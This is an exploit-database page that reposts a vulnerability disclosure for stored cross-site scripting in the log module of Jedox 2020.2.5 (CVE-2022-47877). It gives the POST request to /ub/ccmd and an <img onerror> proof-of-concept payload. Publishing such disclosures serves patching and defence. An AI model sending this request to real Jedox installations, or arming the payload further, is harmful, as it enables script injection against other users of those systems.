[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module Vulnerability

Author
Team Syslifters
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-38660
Category
web applications
Date add
05-05-2023
CVE
CVE-2022-47877
Platform
php
# Exploit Title: Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2020.2 (20.2.5) and older
# CVE : CVE-2022-47877


Introduction
=================
A Stored cross-site scripting vulnerability allows remote authenticated users to inject arbitrary web scripts or HTML in the logs page via the log module. To exploit the vulnerability, the attacker must append an XSS payload to the log message.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) Store log entry with XSS payload:

	PATH: /ub/ccmd
	METHOD: POST
	BODY:
	[
		[
			"log",
			"error",
			"<img src=# onerror=\"alert('XSS')\">"
		]
	]

2) Trigger XSS payload by opening the Logs page and showing the respective log entry.

#  0day.today [2024-12-25]  #